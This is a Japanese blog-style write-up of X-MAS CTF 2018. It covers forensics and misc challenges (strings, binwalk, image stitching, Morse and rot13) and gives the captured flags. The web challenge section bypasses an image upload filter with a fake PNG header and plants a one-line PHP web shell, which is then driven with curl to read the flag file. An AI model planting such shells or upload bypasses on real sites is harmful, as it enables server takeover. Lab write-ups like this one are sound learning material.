X-MAS CTF 2018 writeup
仕事終わりとかにチマチマやっていました。
cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。
反省会会場はこちら。
Santa The Weaver(Misc)
画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}
Oh Christmas Tree(Forensics)
なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}
とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}
Message from Santa(Forensics)
imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。
$ binwalk classified_gift_distribution_schema.img $ 7z l classified_gift_distribution_schema.img $ 7z e classified_gift_distribution_schema.img
画像をつなぎ合わせてフラグを読んでおしまい。(人力)
from PIL import Image #alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] alphabet_0 = ['a11', 'j', 'a5'] alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p'] alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f'] alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u'] alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z'] images0 = map(Image.open, [i+".png" for i in alphabet_0]) images0 = list(images0) widths0, heights0 = zip(*(i.size for i in images0)) total_width0 = sum(widths0) max_height0 = max(heights0) new_im0 = Image.new('RGB', (total_width0, max_height0)) x_offset0 = 0 for im in images0: new_im0.paste(im, (x_offset0,0)) x_offset0 += im.size[0] new_im0.save('test0.jpg') images1 = map(Image.open, [i+".png" for i in alphabet_1]) images1 = list(images1) widths1, heights1 = zip(*(i.size for i in images1)) total_width1 = sum(widths1) max_height1 = max(heights1) new_im1 = Image.new('RGB', (total_width1, max_height1)) x_offset1 = 0 for im in images1: new_im1.paste(im, (x_offset1,0)) x_offset1 += im.size[0] new_im1.save('test1.jpg') images2 = map(Image.open, [i+".png" for i in alphabet_2]) images2 = list(images2) widths2, heights2 = zip(*(i.size for i in images2)) total_width2 = sum(widths2) max_height2 = max(heights2) new_im2 = Image.new('RGB', (total_width2, max_height2)) x_offset2 = 0 for im in images2: new_im2.paste(im, (x_offset2,0)) x_offset2 += im.size[0] new_im2.save('test2.jpg') images3 = map(Image.open, [i+".png" for i in alphabet_3]) images3 = list(images3) widths3, heights3 = zip(*(i.size for i in images3)) total_width3 = sum(widths3) max_height3 = max(heights3) new_im3 = Image.new('RGB', (total_width3, max_height3)) x_offset3 = 0 for im in images3: new_im3.paste(im, (x_offset3,0)) x_offset3 += im.size[0] new_im3.save('test3.jpg')
フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}
。
Santa's Security Levels
mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。
すると、以下のgithubリポジトリに行き着く。 github.com
とりあえず書いてあるメッセージをrot13で復号する。
# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.
最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}
GnomeArena: Rock Paper Scissors(Web)
以下問題文。
This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win? Server: http://199.247.6.180:12002
とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。
$ cat noimage sample.php > exploit.php
phpのファイルとしては以下のようなものを用意して、アップロードする。
<pre> <?php echo system($_GET["cmd"]); ?> </pre>
アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.php
みたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。
$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"
フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}
。